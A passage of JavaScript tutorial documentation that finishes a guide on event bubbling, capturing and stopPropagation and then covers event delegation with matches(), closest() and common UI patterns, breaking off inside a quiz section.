listItem = e.target.closest('li') if (listItem) { console.log('Clicked item:', listItem.textContent) } }) ``` --- ## Stopping Event Propagation Sometimes you need to stop an event from traveling further. JavaScript provides two methods: ### `stopPropagation()` [`event.stopPropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation) stops the event from traveling to other elements, but **other handlers on the current element still run**: ```javascript document.querySelector('.parent').addEventListener('click', () => { console.log('Parent handler') // This WON'T fire }) document.querySelector('.child').addEventListener('click', (e) => { console.log('Child handler 1') e.stopPropagation() // Stop bubbling here }) document.querySelector('.child').addEventListener('click', () => { console.log('Child handler 2') // This STILL fires }) // Click child → Output: // "Child handler 1" // "Child handler 2" ← Still runs (same element) // (Parent handler never fires) ``` ### `stopImmediatePropagation()` [`event.stopImmediatePropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopImmediatePropagation) stops the event AND prevents other handlers on the same element from running: ```javascript document.querySelector('.child').addEventListener('click', (e) => { console.log('Child handler 1') e.stopImmediatePropagation() // Stop everything }) document.querySelector('.child').addEventListener('click', () => { console.log('Child handler 2') // This WON'T fire }) // Click child → Output: // "Child handler 1" // (Nothing else runs) ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ stopPropagation vs stopImmediatePropagation │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ stopPropagation() stopImmediatePropagation() │ │ ───────────────── ────────────────────────── │ │ │ │ ✓ Stops bubbling/capturing ✓ Stops bubbling/capturing │ │ ✓ Other handlers on SAME ✗ Other handlers on SAME │ │ element still run element DON'T run │ │ │ │ Use when: You want to stop Use when: You want to completely │ │ propagation but allow other cancel all further event handling │ │ handlers on this element │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **Use sparingly!** Stopping propagation breaks event delegation and can cause confusing bugs. Analytics tools, modals, and dropdowns often rely on document-level click handlers. When you stop propagation, those stop working. Usually there's a better solution. </Warning> --- ## `stopPropagation()` vs `preventDefault()` Don't confuse propagation with default behavior: | Method | What it does | Example | |--------|--------------|---------| | `stopPropagation()` | Stops event from reaching other elements | Parent's click handler won't fire | | `preventDefault()` | Stops the browser's default action | Link won't navigate, form won't submit | ```javascript // They do different things! link.addEventListener('click', (e) => { e.preventDefault() // Link won't navigate // But event STILL bubbles to parent! }) link.addEventListener('click', (e) => { e.stopPropagation() // Parent handlers won't fire // But link STILL navigates! }) link.addEventListener('click', (e) => { e.preventDefault() // Don't navigate e.stopPropagation() // Don't bubble // Now it does neither }) ``` --- ## Events That Don't Bubble Most events bubble, but some don't. As [MDN's event reference](https://developer.mozilla.org/en-US/docs/Web/Events) documents, each event specifies whether it bubbles in its specification. Here are the common ones: | Event | Bubbles? | Bubbling Alternative | |-------|----------|---------------------| | `click`, `mousedown`, `keydown` | Yes | — | | `focus` | No | `focusin` | | `blur` | No | `focusout` | | `mouseenter` | No | `mouseover` | | `mouseleave` | No | `mouseout` | | `load`, `unload`, `scroll` | No | — | | `resize` | No | — | If you need delegation for non-bubbling events, use their bubbling alternatives: ```javascript // ❌ WON'T WORK - focus doesn't bubble form.addEventListener('focus', (e) => { console.log('Something focused:', e.target) }) // ✓ WORKS - focusin bubbles form.addEventListener('focusin', (e) => { console.log('Something focused:', e.target) }) ``` ```javascript // ❌ WON'T WORK - mouseenter doesn't bubble container.addEventListener('mouseenter', (e) => { console.log('Mouse entered:', e.target) }) // ✓ WORKS - mouseover bubbles (but fires more often) container.addEventListener('mouseover', (e) => { console.log('Mouse over:', e.target) }) ``` <Tip> **Quick check:** You can verify if an event bubbles by checking `event.bubbles`: ```javascript element.addEventListener('focus', (e) => { console.log(e.bubbles) // false }) ``` </Tip> --- ## When to Use Capturing Capturing is rarely needed, but here are legitimate use cases: ### 1. Intercepting Events Before They Reach Target ```javascript // Log every click before any handler runs document.addEventListener('click', (e) => { console.log('Click detected on:', e.target) }, true) // Capture phase - fires first ``` ### 2. Implementing "Cancel All Clicks" Functionality ```javascript let disableClicks = false document.addEventListener('click', (e) => { if (disableClicks) { e.stopPropagation() console.log('Click blocked!') } }, true) // Must use capture to intercept before target ``` ### 3. Handling Events on Disabled Elements Some browsers don't fire events on disabled form elements, but capturing on a parent can catch them: ```javascript form.addEventListener('click', (e) => { if (e.target.disabled) { console.log('Clicked disabled element') } }, true) ``` --- ## Common Mistakes <AccordionGroup> <Accordion title="Forgetting capture when removing listeners"> If you added a listener with `capture: true`, you must remove it the same way: ```javascript // Adding with capture element.addEventListener('click', handler, true) // ❌ WRONG - Won't remove the listener element.removeEventListener('click', handler) // ✓ CORRECT - Must match capture setting element.removeEventListener('click', handler, true) ``` </Accordion> <Accordion title="Breaking event delegation with stopPropagation"> Stopping propagation can break other code that relies on bubbling: ```javascript // Some library sets up a document click handler for modals document.addEventListener('click', closeAllModals) // Your code stops propagation button.addEventListener('click', (e) => { e.stopPropagation() // Now modals never close! doSomething() }) // ✓ Better: Check if you need to stop, or use a different approach button.addEventListener('click', (e) => { doSomething() // Don't stop propagation unless absolutely necessary }) ``` </Accordion> <Accordion title="Confusing target and currentTarget"> Using the wrong property leads to bugs in delegated handlers: ```javascript // ❌ WRONG - target might be a child element list.addEventListener('click', (e) => { e.target.classList.add('selected') // Might select a <span> inside <li> }) // ✓ CORRECT - Find the actual list item list.addEventListener('click', (e) => { const item = e.target.closest('li') if (item) { item.classList.add('selected') } }) ``` </Accordion> <Accordion title="Using non-bubbling events for delegation"> Some events don't bubble, so delegation won't work: ```javascript // ❌ WRONG - focus doesn't bubble form.addEventListener('focus', highlightField) // ✓ CORRECT - Use the bubbling version form.addEventListener('focusin', highlightField) ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Events travel in three phases** — Capturing (down), target (at element), bubbling (up). Most handlers fire during bubbling. 2. **Bubbling is the default** — When you click a child, parent handlers fire too. This enables event delegation. 3. **Use `{ capture: true }` for capturing** — Add as third argument to `addEventListener` to catch events on the way down. 4. **`target` vs `currentTarget`** — `target` is what was clicked, `currentTarget` is where the handler lives. 5. **`stopPropagation()` stops travel** — Prevents the event from reaching other elements, but other handlers on the same element still run. 6. **`stopImmediatePropagation()` stops everything** — Prevents all further handling, even on the same element. 7. **Don't confuse with `preventDefault()`** — That stops browser default actions (link navigation, form submission), not propagation. 8. **Some events don't bubble** — `focus`, `blur`, `mouseenter`, `mouseleave`. Use their bubbling alternatives for delegation. 9. **Use `stopPropagation()` sparingly** — It breaks event delegation and can cause hard-to-debug issues. 10. **Remember capture when removing listeners** — `removeEventListener` must match the capture setting used in `addEventListener`. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What are the three phases of event propagation?"> **Answer:** 1. **Capturing phase** — Event travels from `window` down through ancestors to the target element 2. **Target phase** — Event is at the element that triggered it 3. **Bubbling phase** — Event travels from target back up through ancestors to `window` By default, event listeners fire during the bubbling phase. </Accordion> <Accordion title="How do you make an event listener fire during the capturing phase?"> **Answer:** Pass `true` or `{ capture: true }` as the third argument to `addEventListener`: ```javascript element.addEventListener('click', handler, true) // or element.addEventListener('click', handler, { capture: true }) ``` </Accordion> <Accordion title="What's the difference between event.target and event.currentTarget?"> **Answer:** - `event.target` — The element that **triggered** the event (what the user actually clicked) - `event.currentTarget` — The element that **has the event listener** attached They're the same when you click directly on an element with a listener, but different when events bubble up from children. </Accordion> <Accordion title="What's the difference between stopPropagation() and stopImmediatePropagation()?"> **Answer:** - `stopPropagation()` — Stops the event from reaching other elements, but other handlers on the **same element** still run - `stopImmediatePropagation()` — Stops everything, including other handlers on the same element ```javascript // With stopPropagation, both child handlers run // With stopImmediatePropagation, only the first child handler runs ``` </Accordion> <Accordion title="Why doesn't this event delegation work with 'focus' events?"> **Answer:** The `focus` event doesn't bubble! For delegation with focus events, use `focusin` instead: ```javascript // ❌ Won't work - focus doesn't bubble form.addEventListener('focus', handler) // ✓ Works - focusin bubbles form.addEventListener('focusin', handler) ``` </Accordion> <Accordion title="What happens if you add a listener with capture:true but remove it without specifying capture?"> **Answer:** The listener won't be removed! You must match the capture setting: ```javascript element.addEventListener('click', handler, true) element.removeEventListener('click', handler) // ❌ Doesn't remove element.removeEventListener('click', handler, true) // ✓ Removes correctly ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is event bubbling in JavaScript?"> Event bubbling is the process where an event triggered on a child element propagates upward through its ancestor elements in the DOM tree. According to the W3C DOM specification, bubbling is Phase 3 of event propagation and is the default phase in which `addEventListener` handlers fire. </Accordion> <Accordion title="What is the difference between event bubbling and event capturing?"> Bubbling travels from the target element up to `window`, while capturing travels from `window` down to the target. By default, listeners fire during bubbling. To listen during capturing, pass `{ capture: true }` as the third argument to `addEventListener`. MDN documents that most real-world code uses bubbling exclusively. </Accordion> <Accordion title="How do I stop event propagation in JavaScript?"> Call `event.stopPropagation()` to prevent the event from reaching other elements while still allowing other handlers on the same element to run. Use `event.stopImmediatePropagation()` to stop all further handling entirely. Use these sparingly — the CSS-Tricks article "Dangers of Stopping Event Propagation" warns they can break analytics and third-party modal libraries. </Accordion> <Accordion title="Which JavaScript events do not bubble?"> The `focus`, `blur`, `mouseenter`, `mouseleave`, `load`, `unload`, and `scroll` events do not bubble. For delegation with focus events, use `focusin` and `focusout` instead, which are their bubbling equivalents as defined in the W3C UI Events spec. </Accordion> <Accordion title="What is the difference between event.target and event.currentTarget?"> `event.target` is the element that originally triggered the event, while `event.currentTarget` is the element that has the listener attached. They are the same when you click directly on the element with the listener, but differ when events bubble up from child elements. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Delegation" icon="sitemap" href="/beyond/concepts/event-delegation"> Use bubbling to handle events efficiently with one listener on a parent element. </Card> <Card title="Custom Events" icon="bolt" href="/beyond/concepts/custom-events"> Create your own events that bubble through the DOM like native events. </Card> <Card title="DOM" icon="code" href="/concepts/dom"> The fundamentals of DOM manipulation and event handling in JavaScript. </Card> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> How closures help preserve context in event handler callbacks. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Event bubbling — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> Official MDN learning guide covering bubbling, capturing, and event delegation with interactive examples. </Card> <Card title="addEventListener() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"> Complete reference for addEventListener including the capture option, passive listeners, and signal for cleanup. </Card> <Card title="Event.stopPropagation() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation"> Documentation on stopping event propagation during capturing and bubbling phases. </Card> <Card title="Event.eventPhase — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase"> Reference for the eventPhase property and the constants for each propagation phase. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Bubbling and Capturing — javascript.info" icon="newspaper" href="https://javascript.info/bubbling-and-capturing"> The definitive tutorial on event propagation with interactive examples and visual diagrams. Covers the "almost all events bubble" edge cases that trip people up. </Card> <Card title="Event Propagation Explained — web.dev" icon="newspaper" href="https://web.dev/articles/eventing-deepdive"> Google's deep dive into event propagation with performance considerations and best practices for modern web development. </Card> <Card title="Event order — QuirksMode" icon="newspaper" href="https://www.quirksmode.org/js/events_order.html"> Peter-Paul Koch's classic article on event order that helped standardize how browsers handle propagation. Historical context meets practical wisdom. </Card> <Card title="Stop Propagation Considered Harmful — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/dangers-stopping-event-propagation/"> Philip Walton explains why stopping propagation often causes more problems than it solves, with real-world examples of bugs it creates. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Event Bubbling and Capturing — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=XF1_MlZ5l6M"> Clear, beginner-friendly explanation with visual demonstrations of how events travel through the DOM tree. </Card> <Card title="JavaScript Event Propagation — Fireship" icon="video" href="https://www.youtube.com/watch?v=Q6HAJ6bz7bY"> Quick, engaging overview of bubbling and capturing with practical code examples you can follow along with. </Card> <Card title="DOM Events Deep Dive — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=wK2cBMcDTss"> Comprehensive crash course covering event propagation, delegation, and common patterns used in production applications. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/event-delegation.mdx ================================================ --- title: "Event Delegation in JavaScript" sidebarTitle: "Event Delegation" description: "Learn event delegation in JavaScript. Handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common patterns." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Events" "article:tag": "event delegation, event bubbling, dynamic elements, memory efficiency, event handling" --- How do you handle click events on a list that could have 10, 100, or 1,000 items? What about elements that don't even exist yet — dynamically added after the page loads? If you're adding individual event listeners to each element, you're working too hard and using too much memory. ```javascript // The problem: Adding listeners to every item doesn't scale // ❌ This approach has issues document.querySelectorAll('.todo-item').forEach(item => { item.addEventListener('click', handleClick) }) // What about items added later? They won't have listeners! // The solution: Event delegation // ✅ One listener handles all items, including future ones document.querySelector('.todo-list').addEventListener('click', (event) => { if (event.target.matches('.todo-item')) { handleClick(event) } }) ``` **Event delegation** is a technique that leverages [event bubbling](/beyond/concepts/event-bubbling-capturing) to handle events at a higher level in the DOM than the element where the event originated. Instead of attaching listeners to multiple child elements, you attach a single listener to a parent element and use `event.target` to determine which child triggered the event. <Info> **What you'll learn in this guide:** - What event delegation is and how it works - The difference between `event.target` and `event.currentTarget` - How to use `matches()` and `closest()` for element filtering - Handling events on dynamically added elements - Performance benefits of delegation - Common delegation patterns for lists, tables, and menus - When NOT to use event delegation </Info> <Warning> **Prerequisite:** This guide assumes you understand [event bubbling and capturing](/beyond/concepts/event-bubbling-capturing). Event delegation relies on bubbling — the mechanism where events "bubble up" from child elements to their ancestors. </Warning> --- ## What is Event Delegation? **Event delegation** is a pattern where you attach a single event listener to a parent element to handle events on its child elements. When an event occurs on a child, it bubbles up to the parent, where the listener catches it and determines which specific child triggered the event. As documented by [javascript.info](https://javascript.info/event-delegation), this approach reduces memory usage, simplifies code, and automatically handles dynamically added elements. Think of event delegation like a receptionist at an office building. Instead of giving every employee their own personal doorbell, visitors ring one doorbell at the reception desk. The receptionist then determines who the visitor wants to see and routes them appropriately. One point of contact handles all visitors efficiently. ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ EVENT DELEGATION FLOW │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ User clicks a <button> inside a <div>: │ │ │ │ ┌──────────────────────────────────────────────────────────────────────┐ │ │ │ <div class="container"> ← Event listener attached HERE │ │ │ │ │ │ │ │ │ ├── <button>Save</button> ← Click happens HERE │ │ │ │ │ ↑ │ │ │ │ ├── <button>Delete</button> │ Event bubbles UP │ │ │ │ │ │ │ │ │ │ └── <button>Edit</button> │ │ │ │ │ │ │ │ │ └──────────────────────────────────┴───────────────────────────────────┘ │ │ │ │ 1. User clicks "Save" button │ │ 2. Event bubbles up to container │ │ 3. Container's listener catches the event │ │ 4. event.target identifies which button was clicked │ │ 5. Handler takes appropriate action │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## The Key Players: target, currentTarget, matches, and closest Before diving into delegation patterns, you need to understand four essential tools: ### event.target vs event.currentTarget These two properties are often confused but serve different purposes: ```javascript // HTML: <ul id="menu"><li><button>Click</button></li></ul> document.getElementById('menu').addEventListener('click', (event) => { console.log('target:', event.target.tagName) // BUTTON (what was clicked) console.log('currentTarget:', event.currentTarget.tagName) // UL (where listener is) }) ``` | Property | Returns | Use Case | |----------|---------|----------| | `event.target` | The element that **triggered** the event | Finding what was actually clicked | | `event.currentTarget` | The element that **has the listener** | Referencing the delegating parent | ```javascript // Visual example: Click on the inner span // <div id="outer"> // <p> // <span>Click me</span> // </p> // </div> document.getElementById('outer').addEventListener('click', (event) => { // If user clicks the <span>: console.log(event.target) // <span>Click me</span> console.log(event.currentTarget) // <div id="outer"> // target changes based on what's clicked // currentTarget is always the element with the listener }) ``` ### Element.matches() — Checking Element Identity The [`matches()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/matches) method tests whether an element matches a CSS selector. It's essential for filtering which elements should trigger your handler: ```javascript document.querySelector('.container').addEventListener('click', (event) => { // Check if clicked element is a button if (event.target.matches('button')) { console.log('Button clicked!') } // Check for specific class if (event.target.matches('.delete-btn')) { console.log('Delete button clicked!') } // Check for data attribute if (event.target.matches('[data-action]')) { const action = event.target.dataset.action console.log('Action:', action) } // Complex selectors work too if (event.target.matches('button.primary:not(:disabled)')) { console.log('Enabled primary button clicked!') } }) ``` ### Element.closest() — Finding Ancestor Elements The [`closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest) method traverses up the DOM tree to find the nearest ancestor (or the element itself) that matches a selector. [Can I Use data](https://caniuse.com/element-closest) shows `closest()` is supported in over 96% of browsers globally. This is crucial when the actual click target is a nested element: ```javascript // Problem: User might click the icon inside the button // <button class="action-btn"> // <svg class="icon">...</svg> // <span>Delete</span> // </button> document.querySelector('.container').addEventListener('click', (event) => { // event.target might be the <svg> or <span>, not the <button>! // Solution: Use closest() to find the button ancestor const button = event.target.closest('.action-btn') if (button) { console.log('Action button clicked!') // button is the <button> element, regardless of what was clicked inside } }) ``` ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ closest() TRAVERSAL EXAMPLE │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ Click on <svg> inside button: │ │ │ │ event.target = <svg> │ │ │ │ │ ▼ │ │ event.target.closest('.action-btn') │ │ │ │ │ ┌────────────┴────────────┐ │ │ │ Check: Does <svg> │ │ │ │ match '.action-btn'? │ NO │ │ └────────────┬────────────┘ │ │ │ Move UP to parent │ │ ▼ │ │ ┌────────────────────────────┐ │ │ │ Check: Does <button> │ │ │ │ match '.action-btn'? │ YES ──► Returns <button> │ │ └────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Basic Event Delegation Pattern Here's the fundamental pattern for event delegation: ```javascript // Step 1: Attach listener to parent container document.querySelector('.parent-container').addEventListener('click', (event) => { // Step 2: Identify the target element const target = event.target // Step 3: Check if target matches what we're looking for if (target.matches('.child-element')) { // Step 4: Handle the event handleChildClick(target) } }) ``` ### Example: Clickable List Items ```javascript // HTML: // <ul id="todo-list"> // <li data-id="1">Buy groceries</li> // <li data-id="2">Walk the dog</li> // <li data-id="3">Finish report</li> // </ul> const todoList = document.getElementById('todo-list') todoList.addEventListener('click', (event) => { // Check if an <li> was clicked const item = event.target.closest('li') if (item) { const id = item.dataset.id console.log(`Clicked todo item with id: ${id}`) item.classList.toggle('completed') } }) // This handles all existing items AND any items added later! ``` --- ## Handling Dynamic Elements One of the biggest advantages of event delegation is handling elements that are added to the DOM after the page loads: ```javascript // Without delegation: New items don't work! function addTodoWithoutDelegation(text) { const li = document.createElement('li') li.textContent = text // You'd have to manually add a listener to each new element li.addEventListener('click', handleClick) // Tedious and error-prone! document.getElementById('todo-list').appendChild(li) } // With delegation: New items automatically work! function addTodoWithDelegation(text) { const li = document.createElement('li') li.textContent = text // No need to add individual listeners // The parent's delegated listener handles it automatically document.getElementById('todo-list').appendChild(li) } // The delegated listener on the parent handles all items document.getElementById('todo-list').addEventListener('click', (event) => { if (event.target.matches('li')) { event.target.classList.toggle('completed') } }) ``` ### Real-World Example: Dynamic Table ```javascript // Imagine a table that gets rows from an API const tableBody = document.querySelector('#users-table tbody') // One listener handles all row actions tableBody.addEventListener('click', (event) => { const button = event.target.closest('button') if (!button) return const row = button.closest('tr') const userId = row.dataset.userId if (button.matches('.edit-btn')) { editUser(userId) } else if (button.matches('.delete-btn')) { deleteUser(userId) row.remove() } else if (button.matches('.view-btn')) { viewUser(userId) } }) // Later, when new data arrives: async function loadUsers() { const users = await fetch('/api/users').then(r => r.json()) users.forEach(user => { const row = document.createElement('tr') row.dataset.userId = user.id row.innerHTML = ` <td>${user.name}</td> <td>${user.email}</td> <td> <button class="view-btn">View</button> <button class="edit-btn">Edit</button> <button class="delete-btn">Delete</button> </td> ` tableBody.appendChild(row) }) // All buttons automatically work without adding individual listeners! } ``` --- ## Common Delegation Patterns ### Pattern 1: Action Buttons with data-action Use `data-action` attributes to specify what each element should do: ```javascript // HTML: // <div id="toolbar"> // <button data-action="save">Save</button> // <button data-action="load">Load</button> // <button data-action="delete">Delete</button> // </div> const actions = { save() { console.log('Saving...') }, load() { console.log('Loading...') }, delete() { console.log('Deleting...') } } document.getElementById('toolbar').addEventListener('click', (event) => { const action = event.target.dataset.action if (action && actions[action]) { actions[action]() } }) ``` ### Pattern 2: Tab Interface ```javascript // HTML: // <div class="tabs"> // <button class="tab" data-tab="home">Home</button> // <button class="tab" data-tab="profile">Profile</button> // <button class="tab" data-tab="settings">Settings</button> // </div> // <div class="tab-content" id="home">Home content</div> // <div class="tab-content" id="profile">Profile content</div> // <div class="tab-content" id="settings">Settings content</div> document.querySelector('.tabs').addEventListener('click', (event) => { const tab = event.target.closest('.tab') if (!tab) return // Remove active class from all tabs document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')) tab.classList.add('active') // Hide all content, show selected const tabId = tab.dataset.tab document.querySelectorAll('.tab-content').forEach(content => { content.hidden = content.id !== tabId }) }) ``` ### Pattern 3: Expandable/Collapsible Sections ```javascript // HTML: // <div class="accordion"> // <div class="accordion-item"> // <button class="accordion-header">Section 1</button> // <div class="accordion-content">Content 1...</div> // </div> // <div class="accordion-item"> // <button class="accordion-header">Section 2</button> // <div class="accordion-content">Content 2...</div> // </div> // </div> document.querySelector('.accordion').addEventListener('click', (event) => { const header = event.target.closest('.accordion-header') if (!header) return const item = header.closest('.accordion-item') const content = item.querySelector('.accordion-content') const isExpanded = item.classList.contains('expanded') // Toggle this section item.classList.toggle('expanded') content.hidden = isExpanded // Optional: Close other sections (for exclusive accordion) // document.querySelectorAll('.accordion-item').forEach(otherItem => { // if (otherItem !== item) { // otherItem.classList.remove('expanded') // otherItem.querySelector('.accordion-content').hidden = true // } // }) }) ``` ### Pattern 4: Form Validation ```javascript // Delegate input validation to the form document.querySelector('#signup-form').addEventListener('input', (event) => { const input = event.target if (input.matches('[data-validate]')) { validateInput(input) } }) function validateInput(input) { const type = input.dataset.validate let isValid = true let message = '' switch (type) { case 'email': isValid = /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(input.value) message = isValid ? '' : 'Please enter a valid email' break case 'required': isValid = input.value.trim().length > 0 message = isValid ? '' : 'This field is required' break case 'minlength': const min = parseInt(input.dataset.minlength, 10) isValid = input.value.length >= min message = isValid ? '' : `Minimum ${min} characters required` break } input.classList.toggle('invalid', !isValid) input.nextElementSibling.textContent = message } ``` --- ## Performance Benefits Event delegation significantly reduces memory usage when dealing with many elements. According to [web.dev performance guidelines](https://web.dev/articles/dom-size-and-interactivity), minimizing the number of event listeners is a key strategy for improving Interaction to Next Paint (INP) scores: ```javascript // Without delegation: 1000 listeners const items = document.querySelectorAll('.item') // 1000 items items.forEach(item => { item.addEventListener('click', handleClick) // 1000 listeners created! }) // With delegation: 1 listener document.querySelector('.container').addEventListener('click', (event) => { if (event.target.matches('.item')) { handleClick(event) } }) // Only 1 listener, handles all 1000+ items! ``` | Approach | Listeners | Memory Impact | Dynamic Elements | |----------|-----------|---------------|------------------| | Individual listeners on 1,000 items | 1,000 | High | Must add manually | | Event delegation | 1 | Low | Automatic | --- ## Limitations and Edge Cases ### Events That Don't Bubble Some events don't bubble and can't be delegated in the traditional way: ```javascript // These events DON'T bubble: // - focus / blur // - mouseenter / mouseleave // - load / unload / scroll (on elements) // Solution 1: Use capturing phase document.addEventListener('focus', (event) => { if (event.target.matches('input')) { console.log('Input focused') } }, true) // true = capture phase // Solution 2: Use bubbling alternatives // Instead of focus/blur, use focusin/focusout (they bubble!) document.querySelector('.form').addEventListener('focusin', (event) => { if (event.target.matches('input')) { event.target.classList.add('focused') } }) document.querySelector('.form').addEventListener('focusout', (event) => { if (event.target.matches('input')) { event.target.classList.remove('focused') } }) ``` ### stopPropagation Interference If child elements stop propagation, delegation won't work: ```javascript // This child listener prevents delegation childElement.addEventListener('click', (event) => { event.stopPropagation() // Parent never receives the event! // Do something... }) // Avoid using stopPropagation unless absolutely necessary // Consider using event.stopImmediatePropagation() only for specific cases ``` ### Verifying the Element is Within Your Container With nested tables or complex structures, ensure the target is actually within your container: ```javascript // Problem with nested structures document.querySelector('#outer-table').addEventListener('click', (event) => { const td = event.target.closest('td') // td might be from a nested table, not our table! if (td && event.currentTarget.contains(td)) { // Now we're sure td belongs to our table handleCellClick(td) } }) ``` --- ## When NOT to Use Event Delegation Event delegation isn't always the best choice: ```javascript // ❌ DON'T delegate when: // 1. You have only one element const singleButton = document.querySelector('#submit-btn') singleButton.addEventListener('click', handleSubmit) // Direct is fine // 2. You need to prevent default behavior immediately // (delegation adds slight delay due to bubbling) // 3. The event doesn't bubble (without capture workaround) // 4. Performance-critical scenarios where event.target checks add overhead // (extremely rare in practice) // ✅ DO use delegation when: // - Handling many similar elements // - Elements are added/removed dynamically // - You want cleaner, more maintainable code // - Memory efficiency is important ``` --- ## Common Mistakes ### Mistake 1: Forgetting closest() for Nested Elements ```javascript // ❌ WRONG: Only works if you click exactly on the button, not its children container.addEventListener('click', (event) => { if (event.target.matches('.btn')) { // Fails if user clicks on <span> inside button! } }) // ✅ CORRECT: Works regardless of where inside the button you click container.addEventListener('click', (event) => { const btn = event.target.closest('.btn') if (btn) { // Works for button and all its children } }) ``` ### Mistake 2: Not Checking Container Boundaries ```javascript // ❌ WRONG: Might catch elements from nested structures table.addEventListener('click', (event) => { const row = event.target.closest('tr') if (row) { // Could be a row from a nested table! } }) // ✅ CORRECT: Verify the element is within our container table.addEventListener('click', (event) => { const row = event.target.closest('tr') if (row && table.contains(row)) { // Definitely our row } }) ``` ### Mistake 3: Over-delegating ```javascript // ❌ WRONG: Delegating at document level for everything document.addEventListener('click', (event) => { // This catches EVERY click on the page! if (event.target.matches('.my-button')) { // ... } }) // ✅ CORRECT: Delegate at the appropriate container level document.querySelector('.my-component').addEventListener('click', (event) => { if (event.target.matches('.my-button')) { // Scoped to just this component } }) ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Event delegation uses bubbling** — Attach one listener to a parent instead of many listeners to children. Events bubble up from the clicked element to the parent. 2. **event.target vs event.currentTarget** — `target` is what was clicked; `currentTarget` is where the listener is attached. Use `target` to identify which child triggered the event. 3. **matches() filters elements** — Use `event.target.matches(selector)` to check if the clicked element matches your criteria. 4. **closest() handles nested elements** — When buttons contain icons or spans, use `event.target.closest(selector)` to find the actual clickable element. 5. **Dynamic elements work automatically** — Elements added after page load are handled without adding new listeners. 6. **Memory efficient** — One listener instead of hundreds or thousands reduces memory usage significantly. 7. **Not all events bubble** — `focus`, `blur`, `mouseenter`, and `mouseleave` don't bubble. Use `focusin`/`focusout` or capture phase instead. 8. **Scope appropriately** — Delegate at the nearest common ancestor, not always at `document` level. 9. **Verify container boundaries** — With nested structures, use `container.contains(element)` to ensure the target is within your container. 10. **Keep handlers organized** — Use `data-action` attributes and action objects to keep delegation logic clean and maintainable. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What is the main benefit of event delegation?"> **Answer:** Event delegation provides several key benefits: 1. **Memory efficiency** — One listener handles many elements instead of attaching individual listeners to each 2. **Dynamic element handling** — Elements added after page load automatically work without adding new listeners 3. **Cleaner code** — Centralized event handling logic instead of scattered listeners 4. **Easier maintenance** — Changes only need to be made in one place ```javascript // One listener handles all current and future list items list.addEventListener('click', (event) => { if (event.target.matches('li')) { handleItemClick(event.target) } }) ``` </Accordion> <Accordion title="Question 2: When should you use closest() instead of matches()?"> **Answer:** Use `closest()` when the actual click target might be a nested element inside the element you care about: ```javascript // Button structure: <button class="btn"><svg>...</svg><span>Click</span></button> // ❌ matches() fails if user clicks the <svg> or <span> if (event.target.matches('.btn')) { } // false when clicking icon! // ✅ closest() finds the button even when clicking nested elements const btn = event.target.closest('.btn') // finds parent button if (btn) { } // works! ``` Use `closest()` when: - Elements contain icons, images, or nested markup - You need to find a specific ancestor element - You want to handle clicks anywhere within a complex element </Accordion> <Accordion title="Question 3: Why do focus and blur events require special handling?"> **Answer:** The `focus` and `blur` events **don't bubble** by default, so they can't be caught by a parent using standard delegation: ```javascript // ❌ This won't work - focus doesn't bubble form.addEventListener('focus', handler) // ✅ Solution 1: Use capture phase form.addEventListener('focus', handler, true) // ✅ Solution 2: Use focusin/focusout (they bubble!) form.addEventListener('focusin', handler) // bubbling equivalent of focus form.addEventListener('focusout', handler) // bubbling equivalent of blur ``` Other non-bubbling events include: `mouseenter`, `mouseleave`, `load`, `unload`, and `scroll` (on elements). </Accordion> <Accordion title="Question 4: How do you handle multiple action types with delegation?"> **Answer:** Use `data-action` attributes to specify actions, and map them to handler functions: ```javascript // HTML // <button data-action="save">Save</button> // <button data-action="delete">Delete</button> // JavaScript const actions = { save() { console.log('Saving...') }, delete() { console.log('Deleting...') } } container.addEventListener('click', (event) => { const action = event.target.dataset.action if (action && actions[action]) { actions[action]() } }) ``` This pattern is clean, extensible, and keeps your delegation logic organized. </Accordion> <Accordion title="Question 5: What's the difference between event.target and event.currentTarget?"> **Answer:** | Property | Returns | When to use | |----------|---------|-------------| | `event.target` | Element that **triggered** the event | Identifying which child was clicked | | `event.currentTarget` | Element that **has the listener** | Referencing the delegating parent | ```javascript // <ul id="list"><li><button>Click</button></li></ul> document.getElementById('list').addEventListener('click', (event) => { console.log(event.target) // <button> (what was clicked) console.log(event.currentTarget) // <ul> (where listener is attached) }) ``` `target` changes based on what's clicked; `currentTarget` is always the element with the listener. </Accordion> <Accordion title="Question 6: How do you 